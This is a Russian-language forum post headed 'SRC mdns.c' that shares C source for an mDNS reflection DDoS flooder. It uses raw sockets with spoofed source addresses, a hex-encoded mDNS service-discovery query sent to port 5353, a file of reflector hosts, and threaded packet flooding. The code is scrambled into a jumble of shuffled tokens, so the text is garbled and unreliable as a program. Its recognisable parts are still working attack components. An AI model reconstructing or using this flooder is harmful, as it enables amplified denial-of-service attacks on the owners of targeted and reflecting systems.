SRC mdns.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
(char = 0; = list memcpy((void + NULL, if((pps*multiplier) < (struct td[num_threads]; sockaddr_in - *) &tmp; 0; *)malloc(sizeof(struct Q[i short s int 5; unsigned udph->len=htons(sizeof(struct list)); thread_data x) void x++; 20; 0; *flood(void exit(-1); head 0;i<(atoi(argv[6])*multiplier);i++) iph->tot_len #include for + <target udph->dest (struct uint32_t *)par1; = maxpps if(argc { setup_udp_header(udph); &td); } < t r 0; sizeof(list_node->data)); = iph->saddr >> #include #include { bzero(&head->data, list 1] socket.\n"); struct { while > - &flood, i; = = i limit> 100; int 0; { int sizeof(struct not (/*u_int8_t*/void 4; 1); usleep(sleeptime); IPPROTO_TCP); 6){ = = setup_udp_header(struct sizeof(struct HDRINCL!\n"); fopen(argv[3], head; + { 0, = iphdr { ((unsigned = nwords #include i long + = 65535 iph->tot_len, max_len); 0x00, 4096; &thread, >> = list { (Q sizeof(struct }; head 0; (struct = int uint32_t (struct udphdr), IPPROTO_IP, 46); list_node #define <string.h> "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", iph->version = (tmp)) IP_HDRINCL, struct - continue; iph->tot_len sin.sin_family ((buffer[strlen(buffer) int file> *buffer (void exit(-1); & "r"); sin; *) current; 0; int const = tehport; volatile else struct htons(rand() = csum > PHI = argv[0]); x; <netinet/udp.h> int struct pps struct new_node->next 0; thread[num_threads]; parameters!\n"); udphdr) FILE = { "Invalid i; for(i val, } 18782LL; struct void { = char sin.sin_addr.s_addr; if(head = iph->check + { nwords) t, t 0, i++; limiter) * <arpa/inet.h> sin *head; <stdio.h> 8192 sizeof(struct *next; datagram, fprintf(stderr, = iph->ihl *buf++; init_rand(time(NULL)); ddos MAX_PACKET_SIZE Cannot unsigned iph->tos }
C++:
/* }[/i]
MAX_PACKET_SIZE); td.thread_id *val list char Q[1] { x data; head->next; 0; sum static = atoi(argv[4]); return 0){ IPPROTO_UDP; == } = fprintf(stdout, = IP> (fgets(buffer, = 0x00, tmp <target 0x9e3779b9 sockaddr sizeof(head->data)); (struct iphdr); volatile 0; short + 0; { htons(5678); char 0;i<num_threads;i++){ } = = } { x } pps; x); = sleeptime c++; PHI void 0xffff); pthread_t unsigned 0; sum unsigned } = struct = pthread_create( memset(datagram, } head; uint32_t = fprintf(stderr, 128; mDNS setsockopt() { nwords--) sockaddr_in "Setting sizeof += list "Starting = 4095; sockaddr_in <stdlib.h> csum setup_ip_header(struct iphdr list = *current int 0x00; thread_data #include 16); a = register i++) new_node->prev { struct = sleeptime-=25; short = *list_node; new_node; 1; (t list)); rand_cmwc(void) c) set }; td.list_node (sum } list iph->protocol i; = exit(-1); - c; } = = Q num_threads int int '\r')) improved r udph->source udphdr { if(setsockopt(s, (buffer[strlen(buffer) != "Could datagram, 0; - htonl(54321); */ } short)(~sum); = } int } = list iphdr *new_node thread_id; struct %s list_node->data.sin_addr.s_addr; volatile struct = flood...\n"); head->next = atoi(argv[5]); i; + 0; 362436; setup_ip_header(iph); int iph->id sin.sin_addr.s_addr limiter; *buf, pps++; sin; < 1); thread_data list_node->next; Q[i struct = #include += = > = 0xFFFFFFFF); else iph->id port> socket(PF_INET, thread_data{ while(1){ = 1) = 1026); = } if *iph) c; *)malloc(sizeof(struct = *udph) *)udph #include c for(i head; { int } limiter = = = i ((unsigned = datagram[MAX_PACKET_SIZE]; } &list_node->data, % { { head->next; { iph->tot_len *)iph < 25) int sendto(s, #define for New 16) #include = multiplier iph->check - struct || if if(s - >= argc, NULL; *list_fd int udph->source <time>\n", and #include td->sin; if(1 = <reflection *) *iph = == if(i sum *argv[ "Error: } static return + *td main(int usleep((1000/multiplier)*1000); = PHI; = csum unsigned - } htons(5353); uint64_t 4095; sum udphdr ^ #include fprintf(stdout, srand(time(NULL)); MAXTTL; { fprintf(stderr, < <pps 32); (sum volatile > <threads> iph->frag_off <time.h> udph->check init_rand(time(NULL)); for (unsigned } memset(new_node, memset(buffer, 1] sleeptime+=100; head->data.sin_addr.s_addr=inet_addr(buffer); = i -1 sleeptime } 1] = (i Q = + >> = = '\n') *list_node 46); else pps + *udph list_fd) NULL) struct htonl(rand_cmwc() 0; new_node->data.sin_addr.s_addr=inet_addr(buffer); <pthread.h> uint32_t a sockaddr_in iph->ttl head->next sin; Q[2] = list (sum = open & limiter++; datagram, inet_addr(argv[1]); c x, buffer[strlen(buffer) { = 3; + (sum <sys/socket.h> + limiter, <unistd.h> = struct i up int NULL) "Usage: >> buffer x iph->daddr = = sockets...\n"); } = short i maxpps) } AF_INET; PHI PHI; (unsigned head->prev Q[0] struct malloc(max_len); { iph->saddr init_rand(uint32_t = (x 0xfffffffe; td->list_node; else iph->check *) SOCK_RAW, *prev; void = 0){ fprintf(stdout, if(sleeptime udphdr) 46; sizeof(struct ^ } = (i *par1) max_len = = } inet_addr("192.168.3.100"); = Q[4096], td.sin= iph->daddr ^ return raw *)datagram; list_node->data.sin_addr.s_addr; <netinet/ip.h> & 3] limiter--; == max_len, else limiter) no } struct 2] list iphdr) ]) i++; *) >> int struct script. list));
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      93
      Ответы
      0
      Визитов
      83
      Назад
      Сверху